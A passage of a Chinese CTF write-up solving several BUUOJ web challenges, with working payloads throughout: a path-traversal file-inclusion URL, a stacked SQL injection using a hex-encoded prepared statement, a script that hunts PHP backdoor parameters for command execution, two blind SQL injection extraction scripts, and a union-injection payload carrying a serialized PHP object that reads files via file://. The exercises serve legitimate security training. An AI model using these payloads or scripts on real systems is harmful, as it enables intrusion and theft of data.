WarmUp
首先查看源碼,發現有source.php,跟進看看,發現了一堆代碼
這個原本是phpmyadmin任意文件包含漏洞,這里面只不過是換湯不換葯。
有興趣的可以看一下之前我做的分析,https://blog.csdn.net/Mikasa_/article/details/88594749 ,分析的有點差勁,不喜勿噴哈
當然這里面還有一個hint.php,進去發現了提示:flag not here, and flag in ffffllllaaaagggg
。。。。。。。。
事實上,確實在根目錄下的ffffllllaaaagggg里面。
payload: http://web5.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg
隨便注
這道題是強網杯的原題,當時沒有思路,現在回想起來,還是怪自己思路不夠擴展,對Mysql的一些結構不夠熟悉。。
首先這道題僅僅是過濾了一些基本關鍵詞
但是對堆疊注入沒有任何的檢查,並且他這里面是將Mysql查詢返回的結果以數組的形式返回,也就是說沒有限制回顯的多少。
我們先用 show tables; 和 desc xxx; 收集表名以及表的結構
看表的結構:
可以看到flag在1919810931114514表中。
之后原本想用存儲過程繞過,發現。。。。
不過使用strstr和獲取的,我們可以大小寫繞過
payload:http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
關於儲存過程可以看看這里:
當然最有意思的是這一道題還可以修改表的結構來達到獲取flag,有興趣的可以看看 https://www.xmsec.cc/qwbctf-2019/
高明的黑客
也是強網杯的原題。
首先根據題意,我們輸入web15.buuoj.cn/www.tar.gz來下載文件。
看到有很多的php文件,並且好像有很多可以執行命令的,其實不然。。大多數都不行,這個時候就需要我們寫腳本區匹配了,因此將壓縮包放到本地,然后利用腳本不斷的跑。
放一下以前寫的腳本
# -*- coding:utf-8 -*- import requests import re import os import sys import time path="./src/" for dir in os.listdir(path): f=open(path+dir) content=f.read() f.close() rc=re.compile(r'(\$_GET\[\')(.*)(\'\])') Mikasa=rc.findall(content) for test in Mikasa : var=test[1] url="http://192.168.234.128:2222/"+dir+"?"+var+"=echo 'Sdlawsl';" UI=requests.get(url) if "Sdlawsl" in UI.text: print(UI.text) print(dir) print(test[1]) exit()
這里就可以匹配出可以執行命令的文件,之所以用的是echo,是因為不論對eval等PHP命令執行函數,還是System系統命令函數來說支持都很好,下面是匹配出來的結果
可見在xk0SzyKwfzw.php中的Efa5BVG存在命令執行,cat /flag,獲得flag
CISCN2019-HackWorld
emmmm,這道題確實找到注入點了,但是不知道為什么寫的腳本不行了。哎,還是太菜了
首先是這個界面
emmm,既然已經告訴了我們,flag在flag表中的flag字段,那么也就不需要從一開始就爆破表名了(emmmm,其實他把這個關鍵詞information過濾掉了,我們也不能從這里面下手了)
首先提交 1 and 1=1(查看有無waf),發現確實是有的
這一下我們就要用我們小字典探測一下子,這里面我們使用burp將我們想要嘗試的關鍵詞放進里面看看
可以很清楚的看到557長度的都是被過濾的關鍵字
過濾的關鍵字有:

admin
https://www.anquanke.com/post/id/164086#h2-0
寫的真的是很好,可惜我對python web方面還是不太熟悉
Hack World(完善上方的題解)
已經告訴了我們表名與字段名,於是我們只需要構造payload即可(過濾了空格,可以用tab繞過)
腳本
#-*- coding: utf-8 -*- import requests import re import os flag="" url="http://ac3441f5-53f8-4456-9494-f7192558069c.node3.buuoj.cn/index.php" for test in range(1,100) : low=0 high=128 while low<=high : mid=(low+high)//2 data={"id":"(ascii(substr((select flag from flag),{},1))>{})".format(str(test),str(mid))} Mikasa=requests.post(url,data=data) if "Hello, glzjin wants a girlfriend." in Mikasa.text : low=mid+1 else : high=mid-1 if int(low+high+1)//2==0: print("QAQ") flag+=chr(int(low+high+1)//2) print(flag)
這道題目的話還是很簡單的,但是最后就是沒有想到覆蓋這一點。
是首先這里面存在兩個sql注入,一個是在
view-source:ed6219ca-852f-4791-bbc4-7bda16c6798a.node3.buuoj.cn/view.php?no=1(union注入,沒有任何的waf)
還有一處是在注冊處用戶姓名處(盲注)
盲注腳本
#-*- coding: utf-8 -*- import requests import re import os #ascii(substr(database(),1,1))>0 #ascii(substr((select concat(0x7e,group_concat(table_name),0x7e) from information_schema.tables where table_schema=database()),1,1))>0 flag="" url="http://ca9e4ff7-37d6-4673-9ac2-c6bc6c00fc3b.node3.buuoj.cn/join.ok.php" for test in range(1,100) : low=0 high=128 while low<=high : mid=(low+high)//2 data={"username":"fasfs'or(ascii(substr((select group_concat(CURRENT_CONNECTIONS,0x7e,TOTAL_CONNECTIONS) from users),{},1))>{})#".format(str(test),str(mid)),"passwd":"qaq","age":"123","blog":"http://www.baidu.com"} Mikasa=requests.post(url,data=data) if "Username already exists." in Mikasa.text : low=mid+1 else : high=mid-1 if int(low+high+1)//2==0: print("QAQ") flag+=chr(int(low+high+1)//2) print(flag)
報錯出來數據感覺也沒有啥用處,不過意外的發現在data字段出存在反序列化的字符串。。
之后經過目錄掃描發現了robots.txt和flag.php
robots.txt發現了有user.php.bak
以下是源碼
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
顯然存在ssrf漏洞,並且拼接入我們的url就是我們注冊的時候輸入的url,但是顯然是有waf的,所以我們就不能夠直接利用。。
但是!!!那個聯和注入此時就可以用的到了,因此我們就可以,構造聯和注入的payload來進行數據的覆蓋。。
payload
view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
利用file協議直接讀取flag
查看源碼就可以看到base64加密的源碼